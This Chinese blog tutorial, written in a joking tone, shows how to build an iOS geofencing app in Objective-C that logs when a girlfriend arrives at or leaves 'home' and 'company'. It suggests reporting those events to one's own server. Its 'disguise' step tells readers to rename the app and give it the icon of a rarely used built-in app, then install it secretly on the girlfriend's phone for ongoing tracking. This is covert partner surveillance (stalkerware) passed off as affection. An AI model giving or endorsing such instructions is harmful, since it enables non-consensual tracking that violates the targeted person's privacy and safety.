美文网首页有意思iOS DeveloperiOS 开发
教你做一个随时查看女票在哪里的爱心app~

教你做一个随时查看女票在哪里的爱心app~

作者: DingGa | 来源:发表于2016-04-10 21:14 被阅读304次

    众所周知,程序员是一个赚得少,做的多,老的快,死的早的物种,但是尼玛现在还是有一大票的男生前赴后继加入了这条不归路,然后他们遇到了一个非常严峻的问题,不是需求分析,不是技术实现,不是无休止的加班,而是他们都成了新世纪的光棍储备大军,没有女友啊!

    所以,程序员一旦有了女朋友,必须是12分关爱!

    今天教大家如何轻松给自家女票装上一个,爱心💗监听app 😜

    第一步

    MacBook 一台,装上 Xcode  🤗 (哈哈啊哈哈  )

    第二步

    先解释一下原理

    指定一个区域(以指定经纬度为圆心,指定距离为半径的圆形区域),当安装该App的用户进入该区域时,会收到用户进入该区域消息;当用户离开该区域时,会收到用户离开该区域消息。

    应用:上下班打卡App等~

    这里我们用来实时查看女票位置,有危险时,随时出现到女票身边!!!☺️😉

    上代码

    1.导入框架

    #import"ViewController.h"

    #import

    @interfaceViewController()

    //注释

    CoreLocation/CoreLocation.h 系统原生定位框架,

    2.

    //定位授权一定要使用awlays

    [self.managerrequestAlwaysAuthorization];

    //设置代理

    self.manager.delegate=self;

    3.创建指定区域-(指定区域以经纬度设计,如果你喜欢可以设置多个,操场 小区 菜市场 都可以)

    //identifier:@""区域名称以center经纬度为圆心以radius(这里我设了50米,如果愿意你们也可以设的更精确一点)为半径的圆形区域

    CLCircularRegion*companyRegion= [[CLCircularRegionalloc]initWithCenter:CLLocationCoordinate2DMake(20,100)radius:50.identifier:@"company"];

    CLCircularRegion*homeRegion= [[CLCircularRegionalloc]initWithCenter:CLLocationCoordinate2DMake(21,101)radius:50.identifier:@"home"];

    4.监听指定区域

    [self.managerstartMonitoringForRegion:companyRegion];

    [self.managerstartMonitoringForRegion:homeRegion];

    5.进入指定区域代理方法

    #pragma mark -代理方法

    - (void)locationManager:(CLLocationManager*)manager didEnterRegion:(CLRegion*)region

    {

    if([region.identifierisEqualToString:@"home"]) {

    NSLog(@"安全到家了");

    self.pur.backgroundColor= [UIColorcolorWithRed:((float)arc4random_uniform(256) /255.0)green:((float)arc4random_uniform(256) /255.0)blue:((float)arc4random_uniform(256) /255.0)alpha:1.0];

    self.label.text=@"老婆大人~到家了";

    }elseif([region.identifierisEqualToString:@"company"]){

    NSLog(@"回公司了");

    self.pur.backgroundColor= [UIColorcolorWithRed:((float)arc4random_uniform(256) /255.0)green:((float)arc4random_uniform(256) /255.0)blue:((float)arc4random_uniform(256) /255.0)alpha:1.0];

    self.label.text=@"老婆大人~到公司了";

    }

    }

    //解释,这个方法当用户 app 进入指定区域后调用

    我这里用了 NSLog 如果愿意可以向自己服务器发送一个数据,就可以实时查看了😌😌

    6.离开区域发送消息

    - (void)locationManager:(CLLocationManager*)manager didExitRegion:(CLRegion*)region

    {

    if([region.identifierisEqualToString:@"home"]) {

    NSLog(@"离开家了");

    self.pur.backgroundColor= [UIColorcolorWithRed:((float)arc4random_uniform(256) /255.0)green:((float)arc4random_uniform(256) /255.0)blue:((float)arc4random_uniform(256) /255.0)alpha:1.0];

    self.label.text=@"老婆大人~离开家了";

    }elseif([region.identifierisEqualToString:@"company"]){

    NSLog(@"离开公司了");

    self.pur.backgroundColor= [UIColorcolorWithRed:((float)arc4random_uniform(256) /255.0)green:((float)arc4random_uniform(256) /255.0)blue:((float)arc4random_uniform(256) /255.0)alpha:1.0];

    self.label.text=@"老婆大人~离开公司了";

    }

    }

    7.监听失败时候检查

    - (void)locationManager:(CLLocationManager*)manager monitoringDidFailForRegion:(CLRegion*)region withError:(NSError*)error

    {

    //监听区域失败

    NSLog(@"%ld",error.code);

    }

    #pragma mark -

    - (CLLocationManager*)manager

    {

    if(_manager==nil) {

    _manager=[[CLLocationManageralloc]init];

    }

    return_manager;

    }

    修改一下  GPS位置 测试一下(是不是很棒?)

    第三步- (伪装)

    找一个 使用频次非 !常 !低!!!!!的app,删也删不掉的 app,比如!!!这些原生的

    在 info.Plist 里把我们的爱心app  改一下名字-换个 icon

    然后悄悄装到女票手机里

    打开一次,运行好,以后就可以实时查看女票在哪里了....😌

    也可以安心撸码了~~~😏

    想想就很棒是不是?那就马上动手写一个吧!!

    温馨小提示~~~

    这个项目技术要求并不是很大,但好多朋友跟我说遇到了很多无解的 Bug, 在此郑重提示大家,想要完成这个项目

    首先!!!!!!

    你要有个女朋友~~~~~

    呵呵哒呵呵哒呵呵哒~~~~~~~

    给单身狗一万点暴击伤害~~~⚡️

    相关文章

      网友评论

      本文标题:教你做一个随时查看女票在哪里的爱心app~

      本文链接:https://www.haomeiwen.com/subject/zcablttx.html